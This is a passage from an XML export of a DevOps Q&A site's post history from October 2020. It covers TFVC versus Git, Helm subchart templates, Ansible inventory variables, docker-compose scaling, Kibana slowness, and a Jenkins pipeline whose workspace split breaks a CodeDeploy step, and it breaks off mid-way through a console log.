on-prem or cloud have nothing to do with choosing TFVC vs Git. It likely depends more on cost, infrastructure and people resources, geographic and network constraints.&#xD;&#xA;&#xD;&#xA;You can see most of the [Product Announcements from the Program Manager here][5].&#xD;&#xA;&#xD;&#xA;From TFS 2005 to 2012, the version control engine was TFVC, a centralized version control tool. [Team Foundation Server 2013 added native support as a centralized Git remote host][6] (similar to Github/Gitlab/BitBucket,but on-prem), albeit in separate team projects. [TFS 2015 Update 1][7] (clumsily) allowed hosting both in the [same team project][8].&#xD;&#xA;&#xD;&#xA;But, let's get back to today. Since TFS 2015, Microsoft has put very little effort into improving the TFVC side of their offering. It would seem today, they have essentially abandoned it. [Team Explorer Everywhere][9] is no longer maintained. In  2016, they [open-sourced it][10]. Admittedly, in  2017 [they did reintroduce it][11] after a large outcry. The [Eclipse client][12] was last updated for Neon release (2016-06). The [tfs-plugin for Jenkins][13] has not had a significant release since [Mar 2018][14]. On 2020-11-06 (Nov 6, 2020), the [Visual Studio Code plugin][15] will be removed from the VS Code Marketplace; users will have to rely on the `tf` command line.&#xD;&#xA;&#xD;&#xA;The Program Manager's first post [detailed TFS Usage within Microsoft][16]. Those were [last updated in 2013][17]. A few years later, they are now boasting of having [the world's largest Git repo][18] and then [acquired GitHub][19].&#xD;&#xA;&#xD;&#xA;The basic question you should be asking is [Choosing the right version control for your project?][20] Do you want a Centralized model or a Distributed model of version control?&#xD;&#xA;&#xD;&#xA;I have a lot (decades) of experience managing Centralized and Distributed version control systems. As [MS documents][20], each have their strengths, weaknesses and trade-offs. But, **why would you choose a centralized version control tool that is provided by a vendor that evidently no longer supports it?**&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;PS: Most people visualize Centralized Version Control like this:&#xD;&#xA;[![Centralized VC, from: https://scmquest.com/wp-content/uploads/2014/05/central_vcs.jpg][21]][21] (from: https://scmquest.com/wp-content/uploads/2014/05/central_vcs.jpg)&#xD;&#xA;&#xD;&#xA;and Distributed Version Control like this:&#xD;&#xA;[![Distributed VC, from: https://scmquest.com/wp-content/uploads/2014/05/distributed_vcs.jpg][22]][22] (from: https://scmquest.com/wp-content/uploads/2014/05/distributed_vcs.jpg)&#xD;&#xA;&#xD;&#xA;But that is really just a &quot;disconnected, centralized model&quot;. Git allows for very [complex distributed workflows][23], such as show below. You do not get that flexibility using centralized tools. But it can also be a total nightmare to keep track of what's where.&#xD;&#xA;&#xD;&#xA;[![Complex VC, from: https://howtodoinjava.com/vcs/how-distributed-version-control-system-works][24]][24] &#xD;&#xA;(from: [https://howtodoinjava.com/vcs/how-distributed-version-control-system-works/][25])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/repos/tfvc/use-team-foundation-version-control-commands?view=azure-devops&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Azure_DevOps_Server&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/user-guide/about-azure-devops-services-tfs?view=azure-devops#fundamental-differences-between-azure-devops-services-and-azure-devops-server&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/azure/devops/integrate/concepts/rest-api-versioning?view=azure-devops#supported-versions&#xD;&#xA;  [5]: https://devblogs.microsoft.com/devops/author/erindormierhotmail-com/&#xD;&#xA;  [6]: https://devblogs.microsoft.com/devops/getting-started-with-git-in-visual-studio-and-team-foundation-service-2/&#xD;&#xA;  [7]: https://docs.microsoft.com/en-us/azure/devops/repos/git/team-projects?view=azure-devops&#xD;&#xA;  [8]: https://devblogs.microsoft.com/devops/tfvc-and-git-repositories-in-the-same-team-project/&#xD;&#xA;  [9]: https://github.com/microsoft/team-explorer-everywhere&#xD;&#xA;  [10]: https://devblogs.microsoft.com/devops/microsoft-open-sources-the-team-explorer-everywhere-eclipse-plugin-for-visual-studio-team-services-and-team-foundation-server/&#xD;&#xA;  [11]: https://devblogs.microsoft.com/devops/reintroducing-the-team-explorer-standalone-installer/&#xD;&#xA;  [12]: https://marketplace.eclipse.org/content/team-explorer-everywhere&#xD;&#xA;  [13]: https://plugins.jenkins.io/tfs/&#xD;&#xA;  [14]: https://github.com/jenkinsci/tfs-plugin/releases&#xD;&#xA;  [15]: https://github.com/microsoft/azure-repos-vscode/blob/master/DEPRECATED.md&#xD;&#xA;  [16]: https://devblogs.microsoft.com/devops/microsoft-internal-usage-of-tfs-july-december-2011/&#xD;&#xA;  [17]: https://devblogs.microsoft.com/devops/tfs-internal-usage-statistics-1st-half-cy-2013-2/&#xD;&#xA;  [18]: https://devblogs.microsoft.com/bharry/the-largest-git-repo-on-the-planet/&#xD;&#xA;  [19]: https://news.microsoft.com/2018/06/04/microsoft-to-acquire-github-for-7-5-billion/&#xD;&#xA;  [20]: https://docs.microsoft.com/en-us/azure/devops/repos/tfvc/comparison-git-tfvc?view=azure-devops&#xD;&#xA;  [21]: https://i.stack.imgur.com/CxGAc.png&#xD;&#xA;  [22]: https://i.stack.imgur.com/aLWga.png&#xD;&#xA;  [23]: https://git-scm.com/book/en/v2/Distributed-Git-Distributed-Workflows&#xD;&#xA;  [24]: https://i.stack.imgur.com/LBvS2.png&#xD;&#xA;  [25]: https://howtodoinjava.com/wp-content/uploads/2015/07/Distributed-VCS.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38860" PostHistoryTypeId="2" PostId="12654" RevisionGUID="92ff2533-323b-4831-b8fd-7d6d8d832f6e" CreationDate="2020-10-27T09:16:04.860" UserId="24469" Text="I want to share the solution!&#xD;&#xA;&#xD;&#xA;just add `image = docker:stable ` and `privileged = true`&#xD;&#xA;&#xD;&#xA;and that's all! enjoy!&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/MUJGr.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38861" PostHistoryTypeId="2" PostId="12655" RevisionGUID="f46e6a11-89e4-4cce-aa04-99d0b58e3ae4" CreationDate="2020-10-27T11:28:51.027" UserId="24470" Text="What is a good solution for sharing `{local/staging/prod}` `{front/back}end` `.env`s between multiple devs?&#xD;&#xA;&#xD;&#xA;Both front and back end need environment vars for `{local/staging/prod}`&#xD;&#xA;&#xD;&#xA;Some developers only need local+staging access, I need prod too.&#xD;&#xA;&#xD;&#xA;Maybe it is possible to script using 1password API? But this must be a problem that every organisation encounters. Are there well trodden paths to be aware of?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38862" PostHistoryTypeId="1" PostId="12655" RevisionGUID="f46e6a11-89e4-4cce-aa04-99d0b58e3ae4" CreationDate="2020-10-27T11:28:51.027" UserId="24470" Text="Sharing {local/staging/prod} {front/back}end .env-s between multiple devs" ContentLicense="CC BY-SA 4.0" />
  <row Id="38863" PostHistoryTypeId="3" PostId="12655" RevisionGUID="f46e6a11-89e4-4cce-aa04-99d0b58e3ae4" CreationDate="2020-10-27T11:28:51.027" UserId="24470" Text="&lt;security&gt;&lt;cloud&gt;&lt;environment-variables&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38865" PostHistoryTypeId="2" PostId="12656" RevisionGUID="1d234b28-a347-4a3c-8b06-5fac82e6f2a3" CreationDate="2020-10-27T16:37:40.897" UserId="24243" Text="I am having trouble accessing some named templates defined in the main chart from subcharts.&#xD;&#xA;As it is in the documentation that every defined named template is global I 'd like to get a  help on what I am doing wrong here.&#xD;&#xA;&#xD;&#xA;Below is the defined named template in ***_helper.tpl*** of the main chart and I am trying to access it in the **configMap** from subchart which is resulting into an error of no template&#xD;&#xA;&#xD;&#xA;**_helper.tpl** inside chart/templates&#xD;&#xA;&#xD;&#xA;    {{- define &quot;main.postgres&quot;}}&#xD;&#xA;        POSTGRES_URL: 172.30.30.39&#xD;&#xA;        POSTGRES_PORT: 5432&#xD;&#xA;    {{- end }}&#xD;&#xA;&#xD;&#xA;**configMap.yaml**  inside chart/subchart/templates&#xD;&#xA;&#xD;&#xA;    apiVerions: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata: &#xD;&#xA;      name: subchart-config&#xD;&#xA;      data:&#xD;&#xA;        {{- template &quot;main.postgres&quot; .}}&#xD;&#xA;&#xD;&#xA;**Error**&#xD;&#xA;&#xD;&#xA;error calling include: template: no template &quot;main.postgres&quot; associated with template &quot;gotpl&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38866" PostHistoryTypeId="1" PostId="12656" RevisionGUID="1d234b28-a347-4a3c-8b06-5fac82e6f2a3" CreationDate="2020-10-27T16:37:40.897" UserId="24243" Text="Helm charts: Cant access defined named templates in subcharts" ContentLicense="CC BY-SA 4.0" />
  <row Id="38867" PostHistoryTypeId="3" PostId="12656" RevisionGUID="1d234b28-a347-4a3c-8b06-5fac82e6f2a3" CreationDate="2020-10-27T16:37:40.897" UserId="24243" Text="&lt;helm&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38868" PostHistoryTypeId="5" PostId="12629" RevisionGUID="559aa2c6-bcea-45ff-b6e4-29a94a2ded3e" CreationDate="2020-10-27T18:54:01.090" UserId="739" Comment="better tags and formatting" Text="Is it possible to merge inventories so I can share variables across them? Let's say I have two inventory files. Inventory A and Inventory B. They are both in a directory called inventories.&#xD;&#xA;&#xD;&#xA;Variables are defined in B and I want to reference them in inventory A. Is this possible? I've heard of merging inventories so share variables across but I haven't gotten this to work. &#xD;&#xA;&#xD;&#xA;Here's are the files in my inventories directory: &#xD;&#xA;/opt/ansible/inventories/aws_ec2.yaml&#xD;&#xA;/opt/ansible/inventories/secrets.yaml&#xD;&#xA;&#xD;&#xA;contents of `aws_ec2.yaml`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;plugin: aws_ec2&#xD;&#xA;&#xD;&#xA;aws_access_key: &quot;{{ aws_access_key }}&quot;&#xD;&#xA;aws_secret_key: &quot;{{aws_secret_key}} &quot;&#xD;&#xA;aws_security_token: &quot;{{aws_security_token}}&quot;&#xD;&#xA;&#xD;&#xA;regions:&#xD;&#xA;  - us-west-2&#xD;&#xA;&#xD;&#xA;keyed_groups:&#xD;&#xA;  - key: tags&#xD;&#xA;    prefix: tag&#xD;&#xA;  - key: placement.region&#xD;&#xA;    prefix: aws_region&#xD;&#xA;&#xD;&#xA;groups:&#xD;&#xA;  TEST: &quot;'prod' in (tags:list)&quot;&#xD;&#xA;&#xD;&#xA;compose:&#xD;&#xA;  ansible_host: private_ip_address&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is my `secrets.yaml` file:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;  &#xD;&#xA;aws_access_key: xxxxx&#xD;&#xA;aws_secret_key: xxxxx&#xD;&#xA;aws_security_token: xxxxx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I run my playbook, referencing both inventories, inventory does not seem to occur and I get these errors. It looks like the variables aren't being referenced and expanded?:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;me@workstation:/opt/ansible/inventories$ ansible-playbook -i /opt/ansible/inventories/aws_ec2.yaml -i /opt/ansible/inventories/secrets.yaml /opt/ansible/playbooks/test.yaml&#xD;&#xA;[WARNING]:  * Failed to parse /opt/ansible/inventories/aws_ec2.yaml with aws_ec2 plugin: Failed to&#xD;&#xA;describe instances: An error occurred (AuthFailure) when calling the DescribeInstances operation:&#xD;&#xA;Credential must have exactly 5 slash-delimited elements, e.g. keyid/date/region/service/term, got '{{'&#xD;&#xA;[WARNING]: Unable to parse /opt/ansible/inventories/aws_ec2.yaml as an inventory source&#xD;&#xA;[WARNING]: Unable to parse /opt/ansible/inventories/secrets.yaml as an inventory source&#xD;&#xA;[WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost&#xD;&#xA;does not match 'all'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or is my syntax for variable assigning and referencing wrong?&#xD;&#xA;Am I on the right path here?&#xD;&#xA;my `/etc/ansible/ansible.cfg` file, under `[defaults]` is as such:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[defaults]&#xD;&#xA;inventory = /opt/ansible/inventory/aws_ec2.yaml&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38869" PostHistoryTypeId="6" PostId="12629" RevisionGUID="559aa2c6-bcea-45ff-b6e4-29a94a2ded3e" CreationDate="2020-10-27T18:54:01.090" UserId="739" Comment="better tags and formatting" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;configuration-management&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38872" PostHistoryTypeId="2" PostId="12657" RevisionGUID="0255cae7-e726-4a07-91b5-a3f11de35598" CreationDate="2020-10-28T06:20:48.710" UserId="18357" Text="I have a docker-compose with 4 containers deployed in production.  &#xD;&#xA;I wanted to use docker `scale` for the nodejs part. (with nginx LB)  &#xD;&#xA;If the docker-compose `scale` is done on the host machine, how does it suppose to improve performance, I did not limit the resources for that container, it means that it can burst as much as the host allows it. &#xD;&#xA;&#xD;&#xA;What docker-compose scale is good for anyway?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="38873" PostHistoryTypeId="1" PostId="12657" RevisionGUID="0255cae7-e726-4a07-91b5-a3f11de35598" CreationDate="2020-10-28T06:20:48.710" UserId="18357" Text="Docker compose scale, what is it good for?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38874" PostHistoryTypeId="3" PostId="12657" RevisionGUID="0255cae7-e726-4a07-91b5-a3f11de35598" CreationDate="2020-10-28T06:20:48.710" UserId="18357" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38875" PostHistoryTypeId="2" PostId="12658" RevisionGUID="6afe8371-ca42-4786-a3f8-2d3d6c0db54f" CreationDate="2020-10-28T12:48:47.993" UserDisplayName="user23588" Text="Scaling is increasing the number of containers for any specific service. This is primarily helpful for a cluster, **not** on a single host setup like yours. When you scale your application up in a cluster, multiple containers of the same service get spread across the cluster (Based on their availability (Resource or anyway)). This makes the distribution of load across containers an available benefit. In a single host environment, with limited resources, scaling won't do you much good as the processes are going to be the slave of the same schedular, so you won't have that parallel servicing. &#xD;&#xA;&#xD;&#xA;So now your question, why does scale in docker-compose exist? From the top of my head in no specific order of value:&#xD;&#xA;&#xD;&#xA;- You can minimize your services' downtime (going as low as none) while upgrading with docker-compose's scale functionality.&#xD;&#xA;- If an app can handle only so many inputs, in other words, if there's a queue of inputs, you can essentially increase the available queue space by scaling the container up and have multiple containers handle a portion of the inputs, reducing input loss.&#xD;&#xA;- The more obvious one, if one container goes down, there will still be at least one replica left." ContentLicense="CC BY-SA 4.0" />
  <row Id="38877" PostHistoryTypeId="2" PostId="12659" RevisionGUID="69e71f12-2386-49a0-8450-76a788089127" CreationDate="2020-10-28T18:36:05.633" UserId="24489" Text="I have a docker container running with persistent storage. When I try to update now I kill the container, and rerun the updated image all over again.&#xD;&#xA;&#xD;&#xA;I've considered setting up the new container first, then switching traffic over via NginX, but how would this work with persistent storage? I can't bind the same data to two different containers can I?&#xD;&#xA;&#xD;&#xA;Most questions and googling I've done suggest moving over to kubernetes, but for a single-host, 3 container setup, it doesn't seem worth it for such a small application." ContentLicense="CC BY-SA 4.0" />
  <row Id="38878" PostHistoryTypeId="1" PostId="12659" RevisionGUID="69e71f12-2386-49a0-8450-76a788089127" CreationDate="2020-10-28T18:36:05.633" UserId="24489" Text="Docker update with persistent storage and 0 downtime" ContentLicense="CC BY-SA 4.0" />
  <row Id="38879" PostHistoryTypeId="3" PostId="12659" RevisionGUID="69e71f12-2386-49a0-8450-76a788089127" CreationDate="2020-10-28T18:36:05.633" UserId="24489" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38880" PostHistoryTypeId="50" PostId="12138" RevisionGUID="29375146-bc16-4d49-b087-eea7a9dd1abb" CreationDate="2020-10-28T22:05:20.673" UserId="-1" />
  <row Id="38881" PostHistoryTypeId="50" PostId="12381" RevisionGUID="122d14a6-e68b-41f3-b1d8-58564cd3bd2c" CreationDate="2020-10-29T07:01:20.170" UserId="-1" />
  <row Id="38882" PostHistoryTypeId="2" PostId="12660" RevisionGUID="d726c5a9-16c7-4b42-8c1a-17c852463855" CreationDate="2020-10-29T10:08:22.377" UserId="19083" Text="I have a Kibana page which takes about 7-10 seconds to load.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Benchmarking same page shows ~1s to complete the request&#xD;&#xA;```&#xD;&#xA;$ ab -n 10 &quot;http://kibana/app/discover#/view/15a67850-6921-11ea-8308-058e42e28132&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and the exact same query to elastic takes about 1s to complete as well.&#xD;&#xA;```&#xD;&#xA;$ ab -n 20 -p same-query.json -T application/json &quot;http://kibana:9200/logstash*/_search&quot;&#xD;&#xA;```&#xD;&#xA;It's just 2 simple `match` filters within a request to `logstash*` index.&#xD;&#xA;Taking into account benchmarking above I don't think the the issue related to Elasticsearch/Logstash but rather to Kibana itself. So my questions are:&#xD;&#xA;&#xD;&#xA; 1. Is the a way to tune/optimize performance for Kibana (page loading time)?&#xD;&#xA; 2. In case I move Kibana UI to separate instance will that give any benefits to performance? (currently it's ELK stack on the one instance 8 vcpus, 16 GiB memory)&#xD;&#xA;3. How can I additionally narrow down the exact reason of this slow performance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38883" PostHistoryTypeId="1" PostId="12660" RevisionGUID="d726c5a9-16c7-4b42-8c1a-17c852463855" CreationDate="2020-10-29T10:08:22.377" UserId="19083" Text="Kibana slow performance optimization" ContentLicense="CC BY-SA 4.0" />
  <row Id="38884" PostHistoryTypeId="3" PostId="12660" RevisionGUID="d726c5a9-16c7-4b42-8c1a-17c852463855" CreationDate="2020-10-29T10:08:22.377" UserId="19083" Text="&lt;azure&gt;&lt;performance&gt;&lt;ubuntu&gt;&lt;elk&gt;&lt;kibana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38886" PostHistoryTypeId="5" PostId="12656" RevisionGUID="0d72fd0d-ba59-4b8b-9975-2c26f3d08950" CreationDate="2020-10-29T20:10:24.157" UserId="1180" Comment="typos corrected, formatting" Text="I am having trouble accessing some named templates defined in the main chart from subcharts.&#xD;&#xA;As it is in the documentation that every defined named template is global, I'd like to get help on what I am doing wrong here.&#xD;&#xA;&#xD;&#xA;Below is the defined named template in ***_helper.tpl*** of the main chart and I am trying to access it in the **configMap** from the subchart which is resulting into an error of no template.&#xD;&#xA;&#xD;&#xA;**_helper.tpl** inside chart/templates&#xD;&#xA;&#xD;&#xA;    {{- define &quot;main.postgres&quot;}}&#xD;&#xA;        POSTGRES_URL: 172.30.30.39&#xD;&#xA;        POSTGRES_PORT: 5432&#xD;&#xA;    {{- end }}&#xD;&#xA;&#xD;&#xA;**configMap.yaml**  inside chart/subchart/templates&#xD;&#xA;&#xD;&#xA;    apiVerions: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata: &#xD;&#xA;      name: subchart-config&#xD;&#xA;      data:&#xD;&#xA;        {{- template &quot;main.postgres&quot; .}}&#xD;&#xA;&#xD;&#xA;**Error**&#xD;&#xA;&#xD;&#xA;&gt; error calling include: template: no template &quot;main.postgres&quot; associated with template &quot;gotpl&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38887" PostHistoryTypeId="4" PostId="12656" RevisionGUID="0d72fd0d-ba59-4b8b-9975-2c26f3d08950" CreationDate="2020-10-29T20:10:24.157" UserId="1180" Comment="typos corrected, formatting" Text="Helm charts: Can't access defined named templates in subcharts" ContentLicense="CC BY-SA 4.0" />
  <row Id="38888" PostHistoryTypeId="24" PostId="12656" RevisionGUID="0d72fd0d-ba59-4b8b-9975-2c26f3d08950" CreationDate="2020-10-29T20:10:24.157" Comment="Proposed by 1180 approved by 40 edit id of 1294" ContentLicense="CC BY-SA 4.0" />
  <row Id="38889" PostHistoryTypeId="2" PostId="12662" RevisionGUID="b42c41a6-5af6-4d9e-b0df-b37474a5d9a8" CreationDate="2020-10-30T01:22:07.477" UserId="24255" Text="I've narrowed my problem down to a very specific cause but am not sure how exactly how to fix it.&#xD;&#xA;&#xD;&#xA;A Jenkins server set up using Jenkins-configuration-as-code in a docker container runs a pipelineJob script that sets up a listener to a github repo and whenever there's a new commit pulls a jenkinsfile from the repo and uses that to run a job using the declarative pipeline plugin. At the end of the job there's a post-build action using the AWS CodeDeploy plugin to push the built app out to an autoscaling group.&#xD;&#xA;&#xD;&#xA;Previously there were two separate jobs for the frontend and backend of the app that deployed each piece separately and everything was fine. The whole system worked end-to-end without any human interaction required.&#xD;&#xA;&#xD;&#xA;Now though, after merging the two repos and their declarative pipelines into just one using multiple docker agents, the job still builds and if I check the Jenkins server it says it was successful but if I check an ec2 instance CodeDeploy pushed the update to all I find is the original source files, no built files at all.&#xD;&#xA;&#xD;&#xA;After a bunch of digging and head banging I've found that under the hood Jenkins is running git clone and the codedeploy plugin in /var/jenkins_home/workspace/FOLDER but building the backend using a golang docker agent and the frontend using a node docker agent in /var/jenkins_home/workspace/FOLDER@2. That means when CodeDeploy zips it all up it's missing everything that was actually built.&#xD;&#xA;&#xD;&#xA;My question is how do I stop/fix that?&#xD;&#xA;&#xD;&#xA;Pipeline Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        &#xD;&#xA;        stages {&#xD;&#xA;            stage('Clone git') {&#xD;&#xA;                steps { git 'https://github.com/REPO' }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('Backend') {&#xD;&#xA;                agent { docker { &#xD;&#xA;                    image 'golang:latest' &#xD;&#xA;                    args '-v &quot;$PWD&quot;/backend:/test -w /test'&#xD;&#xA;                } }&#xD;&#xA;    &#xD;&#xA;                environment { GOCACHE = &quot;${WORKSPACE}&quot; }&#xD;&#xA;    &#xD;&#xA;                steps { &#xD;&#xA;                    dir('backend') {&#xD;&#xA;                        sh 'make install' &#xD;&#xA;                        sh 'make build'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('Frontend') {&#xD;&#xA;                agent { docker { image 'node:latest' } }&#xD;&#xA;    &#xD;&#xA;                steps { &#xD;&#xA;                    dir('frontend') {&#xD;&#xA;                        sh 'make install'&#xD;&#xA;                        sh 'make build' &#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            &#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        post ('Deploy') {&#xD;&#xA;            success {&#xD;&#xA;                step([&#xD;&#xA;                    $class: 'AWSCodeDeployPublisher', &#xD;&#xA;                    applicationName: 'server_app', &#xD;&#xA;                    awsAccessKey: '', &#xD;&#xA;                    awsSecretKey: '', &#xD;&#xA;                    deploymentGroupAppspec: false, &#xD;&#xA;                    deploymentGroupName: 'server_group', &#xD;&#xA;                    deploymentMethod: 'deploy', &#xD;&#xA;                    excludes: '', &#xD;&#xA;                    iamRoleArn: '', &#xD;&#xA;                    includes: '**', &#xD;&#xA;                    proxyHost: '', &#xD;&#xA;                    proxyPort: 0,&#xD;&#xA;                    region: 'us-west-2', &#xD;&#xA;                    s3bucket: 'server-bucket', &#xD;&#xA;                    s3prefix: '', &#xD;&#xA;                    subdirectory: '', &#xD;&#xA;                    versionFileName: '', &#xD;&#xA;                    waitForCompletion: false&#xD;&#xA;                ])&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Job console output (note where it switches from FOLDER to `FOLDER@2):&#xD;&#xA;&#xD;&#xA;    Checking out git https://github.com/REPO into /var/jenkins_home/workspace/FOLDER@script to read pipeline.jenkinsfile&#xD;&#xA;    The recommended git tool is: NONE&#xD;&#xA;    No credentials specified&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://github.com/REPO # timeout=10&#xD;&#xA;    Fetching upstream changes from https://github.com/REPO&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;     &gt; git --version # 'git version 2.11.0'&#xD;&#xA;     &gt; git fetch --tags --progress -- https://github.com/REPO +refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA;    Seen branch in repository origin/master&#xD;&#xA;    Seen 1 remote branch&#xD;&#xA;     &gt; git show-ref --tags -d # timeout=10&#xD;&#xA;    Checking out Revision 385e449faf2f2316e308d9cc2de07725cfaf3582 (origin/master)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 385e449faf2f2316e308d9cc2de07725cfaf3582 # timeout=10&#xD;&#xA;    Commit message: &quot;simplify jenkinsfile&quot;&#xD;&#xA;     &gt; git rev-list --no-walk 263260386f964b2d7bc8e9921f3b3bb7214ea09a # timeout=10&#xD;&#xA;    [Checks API] No suitable checks publisher found.&#xD;&#xA;    Running in Durability level: MAX_SURVIVABILITY&#xD;&#xA;    [Pipeline] Start of Pipeline&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Running on Jenkins in /var/jenkins_home/workspace/FOLDER&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Declarative: Checkout SCM)&#xD;&#xA;    [Pipeline] checkout&#xD;&#xA;    The recommended git tool is: NONE&#xD;&#xA;    No credentials specified&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://github.com/REPO # timeout=10&#xD;&#xA;    Fetching upstream changes from https://github.com/REPO&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;     &gt; git --version # 'git version 2.11.0'&#xD;&#xA;     &gt; git fetch --tags --progress -- https://github.com/REPO +refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA;    Seen branch in repository origin/master&#xD;&#xA;    Seen 1 remote branch&#xD;&#xA;     &gt; git show-ref --tags -d # timeout=10&#xD;&#xA;    Checking out Revision 385e449faf2f2316e308d9cc2de07725cfaf3582 (origin/master)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 385e449faf2f2316e308d9cc2de07725cfaf3582 # timeout=10&#xD;&#xA;    Commit message: &quot;simplify jenkinsfile&quot;&#xD;&#xA;    [Checks API] No suitable checks publisher found.&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Clone git)&#xD;&#xA;    [Pipeline] git&#xD;&#xA;    The recommended git tool is: NONE&#xD;&#xA;    No credentials specified&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://github.com/REPO # timeout=10&#xD;&#xA;    Fetching upstream changes from https://github.com/REPO&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;     &gt; git --version # 'git version 2.11.0'&#xD;&#xA;     &gt; git fetch --tags --progress -- https://github.com/REPO +refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/master^{commit} # timeout=10&#xD;&#xA;    Checking out Revision 385e449faf2f2316e308d9cc2de07725cfaf3582 (refs/remotes/origin/master)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 385e449faf2f2316e308d9cc2de07725cfaf3582 # timeout=10&#xD;&#xA;     &gt; git branch -a -v --no-abbrev # timeout=10&#xD;&#xA;     &gt; git branch -D master # timeout=10&#xD;&#xA;     &gt; git checkout -b master 385e449faf2f2316e308d9cc2de07725cfaf3582 # timeout=10&#xD;&#xA;    Commit message: &quot;simplify jenkinsfile&quot;&#xD;&#xA;    [Checks API] No suitable checks publisher found.&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Backend)&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Running on Jenkins in /var/jenkins_home/workspace/FOLDER@2&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] checkout&#xD;&#xA;    The recommended git tool is: NONE&#xD;&#xA;    No credentials specified&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://github.com/REPO # timeout=10&#xD;&#xA;    Fetching upstream changes from https://github.com/REPO&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;     &gt; git --version # 'git version 2.11.0'&#xD;&#xA;     &gt; git fetch --tags --progress -- https://github.com/REPO+refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA;    Seen branch in repository origin/master&#xD;&#xA;    Seen 1 remote branch&#xD;&#xA;     &gt; git show-ref --tags -d # timeout=10&#xD;&#xA;    Checking out Revision 385e449faf2f2316e308d9cc2de07725cfaf3582 (origin/master)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 385e449faf2f2316e308d9cc2de07725cfaf3582 # timeout=10&#xD;&#xA;    Commit 